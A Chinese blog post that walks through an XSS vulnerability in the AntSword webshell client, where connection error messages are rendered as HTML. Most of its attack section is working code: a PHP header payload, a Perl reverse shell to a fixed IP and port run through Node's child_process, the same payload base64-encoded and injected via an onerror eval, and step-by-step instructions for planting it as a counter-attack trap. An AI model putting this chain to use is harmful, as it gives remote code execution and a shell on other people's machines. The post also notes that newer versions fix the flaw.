今日在github上看到蚁剑暴露了一个xss漏洞,自己也经常使用蚁剑。同时在freebuf上也有一篇文章,关于蚁剑漏洞的。闲着没事测试了一波。
一、漏洞成因
蚁剑shell远程连接失败时,蚁剑会返回错误信息,但因为使用的是html解析,导致xss漏洞。
用过蚁剑的童靴都清楚,当我们远程连接写好的webshell的时候,有时候可能因为shell书写错误或者链接填写不当的时候,会出现大堆的错误代码。
该信息并没有进行 XSS 保护,因此能够利用 js 调用 perl 便可反弹***者的shell
很多时候我们不去注意,但这里恰恰就是漏洞利用点。(漏洞往往就在你的眼皮地下,你只要向下看看就能找到。可惜我们只向前看,不向下看。)
二、漏洞验证
鉴于本人对js没有深入了解,只懂得些皮毛。这里就直接引用别人写好的shell了
(1)验证xss漏洞的存在
<?php header('HTTP/1.1 500 <img src=# onerror=alert(1)>');?>
Head()函数,向客户端发送原始的 HTTP 报头。 当蚁剑远程连接shell的时候就会触发弹框。
(2)反弹***者shell
require('child_process').exec('perl -e \'use Socket;$i="192.168.80.151";$p=1002;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};\'',(error, stdout, stderr)=>{ alert(`stdout: ${stdout}`); });
将这些代码进行base64加密
cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ3BlcmwgLWUgXCd1c2UgU29ja2V0OyRpPSIxOTIuMTY4LjgwLjE1MSI7JHA9MTAwMjtzb2NrZXQoUyxQRl9JTkVULFNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCJ0Y3AiKSk7aWYoY29ubmVjdChTLHNvY2thZGRyX2luKCRwLGluZXRfYXRvbigkaSkpKSl7b3BlbihTVERJTiwiPiZTIik7b3BlbihTVERPVVQsIj4mUyIpO29wZW4oU1RERVJSLCI+JlMiKTtleGVjKCIvYmluL2Jhc2ggLWkiKTt9O1wnJywoZXJyb3IsIHN0ZG91dCwgc3RkZXJyKT0+ewogICAgYWxlcnQoYHN0ZG91dDogJHtzdGRvdXR9YCk7CiAgfSk7
构造header
<?php
header("HTTP/1.1 406 Not <img src=# onerror='eval(new Buffer(`cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ3BlcmwgLWUgXCd1c2UgU29ja2V0OyRpPSIxOTIuMTY4LjgwLjE1MSI7JHA9MTAwMjtzb2NrZXQoUyxQRl9JTkVULFNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCJ0Y3AiKSk7aWYoY29ubmVjdChTLHNvY2thZGRyX2luKCRwLGluZXRfYXRvbigkaSkpKSl7b3BlbihTVERJTiwiPiZTIik7b3BlbihTVERPVVQsIj4mUyIpO29wZW4oU1RERVJSLCI+JlMiKTtleGVjKCIvYmluL2Jhc2ggLWkiKTt9O1wnJywoZXJyb3IsIHN0ZG91dCwgc3RkZXJyKT0+ewogICAgYWxlcnQoYHN0ZG91dDogJHtzdGRvdXR9YCk7CiAgfSk7`,`base64`).toString())'>");
?>
将其写入被***中的网站目录下
被***机监听1002端口
***机蚁剑远程连接
获得***者shell
在最新的版本中, 修改了 toastr 可以输出 html 的特点,以后均不支持输出 html。建议及时更新到最新版本
三、总结
如果你检测到了自己被上传了webshell,不妨可以试一试这个漏洞,对方如果使用的是蚁剑,当对方连接你的时候,也是他上线的时候。或者在比赛(zhen shi)环境的时候,故意制造一个这样的shell,诱惑一些小可爱连一下。
参考链接: https://github.com/AntSwordProject/antSword/issues/147